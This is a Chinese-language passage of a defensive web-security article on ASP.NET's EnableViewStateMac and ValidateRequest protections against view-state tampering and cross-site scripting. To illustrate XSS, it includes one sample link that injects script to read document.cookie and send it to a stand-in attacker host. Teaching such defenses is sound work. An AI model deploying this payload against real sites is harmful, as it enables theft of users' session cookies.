正在阅读:利用 ASP.NET 的内置功能抵御 Web 攻击利用 ASP.NET 的内置功能抵御 Web 攻击

2005-06-25 10:11 出处: 作者:Dino Esposito&Wintellect 责任编辑:moningfeng

六、EnableViewStateMac
  视图状态用于在对同一个页的两个连续请求之间保持控件的状态。默认情况下,视图状态是 Base64 编码的,并使用一个哈希值签名,以防止篡改。除非更改默认的页设置,否则不可能篡改视图状态。如果攻击者修改了视图状态,甚至使用正确的算法重新生成了视图状态,ASP.NET 都会捕获这些尝试并引发异常。视图状态被篡改并不一定有害,虽然它修改了服务器控件的状态 — 但可能成为造成严重感染的工具。因此,不 移除默认情况下进行的计算机身份验证代码 (MAC) 交叉检查就异常重要。请参阅图 2。

图 2. 启用 EnableViewStateMac 时,使视图状态本身难以篡改的因素

  启用了 MAC 检查时(默认情况),将对序列化的视图状态附加一个哈希值,该值是使用某些服务器端值和视图状态用户秘钥(如果有)生成的。回发视图状态时,将使用新的服务器端值重新计算该哈希值,并将其与存储的值进行比较。如果两者匹配,则允许请求;否则将引发异常。即使假设黑客具有破解和重新生成视图状态的能力,他/她仍需要知道服务器存储的值才可以得出有效的哈希。具体说来,该黑客需要知道 machine.config 的 项中引用的计算机秘钥。

  默认情况下, 项是自动生成的,以物理方式存储在 Windows Local Security Authority (LSA) 中。仅在 Web 场(此时视图状态的计算机秘钥必须在所有的计算机上都相同)的情形下,您才应当在 machine.config 文件中将其指定为明文。

  视图状态 MAC 检查是通过一个名为 EnableViewStateMac 的 @Page 指令属性控制的。如前所述,默认情况下,它被设置为 true。请永远不要禁用它;否则将会使视图状态篡改一次单击攻击成为可能,并具有很高的成功概率。


七、ValidateRequest
  跨站点脚本 (XSS) 对于很多经验丰富的 Web 开发人员来说是老朋友了,它在 1999 年左右就已经出现了。简单地说,XSS 利用代码中的漏洞来将黑客的可执行代码引入另一个用户的浏览器会话中。如果被执行,注入的代码可以执行多种不同的操作 — 获取 Cookie 并将一个副本上载到黑客控制的 Web 站点,监视用户的 Web 会话并转发数据,修改被黑的页的行为和外观以使其提供错误的信息,甚至使自己变为持续性的,这样用户下一次返回该页时,欺诈代码会再次运行。请在 TechNet 文章 Cross-site Scripting Overview 中详细阅读有关 XSS 攻击的基础知识。

  代码中的哪些漏洞导致 XSS 攻击成为可能?

  XSS 利用的是动态生成 HTML 页、但并不验证回显到页的输入的 Web 应用程序。这里的输入 是指查询字符串、Cookie 和表单域的内容。如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险。(前面提到的一次单击攻击其实是 XSS 的一种新近变种。)典型的 XSS 攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码。欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页。以下是可能发生的情况的一个示例:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=

<script>document.location.replace(

'http://www.hackersite.com/HackerPage.aspx?

Cookie=' + document.cookie);

</script>">Click to claim your prize</a>



  用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有 Cookie,然后将它们发送到黑客的 Web 站点。

  请务必注意,XSS 不是一个特定于供应商的问题,因此并不一定会利用 Internet Explorer 中的漏洞。它影响目前市场上的所有 Web 服务器和浏览器。更应注意的是,没有哪一个修补程序能够修复这一问题。您完全可以保护自己的页免受 XSS 攻击,方法是应用特定的措施和合理的编码实践。此外,请注意,攻击者并不需要用户单击链接就可以发起攻击。

  要防御 XSS,您必须从根本上确定哪些输入是有效的,然后拒绝所有其他输入。您可以在一本书中读到抵御 XSS 攻击的详细检查表,该书在 Microsoft 属于必读范围 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特别地,我建议您仔细阅读第 13 章。

  阻止阴险的 XSS 攻击的主要方法是向您的输入(任何类型的输入数据)添加一个设计合理、有效的验证层。例如,某些情况下即使是原本无害的颜色(RGB 三色)也会将不受控制的脚本直接带入页中。

  在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 属性被打开后,将检查以确定用户没有在查询字符串、Cookie 或表单域中发送有潜在危险性的 HTML 标记。如果检测到这种情况,将引发异常并中止该请求。该属性默认情况下是打开的;您无需进行任何操作就可以得到保护。如果您想允许 HTML 标记通过,必须主动禁用该属性。

<%@ Page ValidateRequest="false" %>


  ValidateRequest不是 万能的药方,无法替代有效的验证层。请阅读此处以获取大量有关该功能的基础原理的宝贵信息。它基本上通过应用一个正则表达式来捕获一些可能有害的序列。

  注 ValidateRequest 功能原本是有缺陷的,因此您需要应用一个修补程序它才能按预期工作。这样的重要信息常常不为人们所注意。奇怪的是,我发现我的其中一台计算机仍受该缺陷的影响。试试看!

  没有任何关闭 ValidateRequest 的理由。您可以禁用它,但必须有非常好的理由;其中一条这样的理由可能是用户需要能够将某些 HTML 张贴到站点,以便得到更好的格式设置选项。这种情况下,您应当限制所允许的 HTML 标记(<pre>、<b>、<i>、<p>、<br>、<hr>)的数目,并编写一个正则表达式,以确保不会允许或接受任何其他内容。

  以下是一些有助于防止 ASP.NET 遭受 XSS 攻击的其他提示:

  1.使用 HttpUtility.HtmlEncode 将危险的符号转换为它们的 HTML 表示形式。

  2.使用双引号而不是单引号,这是因为 HTML 编码仅转义双引号。

  3.强制一个代码页以限制可以使用的字符数。

  总之,使用但是不要完全信任 ValidateRequest 属性,不要太过懒惰。花些时间,从根本上理解 XSS 这样的安全威胁,并规划以一个关键点为中心的防御策略:所有的用户输入都是危险的。
键盘也能翻页,试试“← →”键

关注我们

最新资讯离线随时看 聊天吐槽赢奖品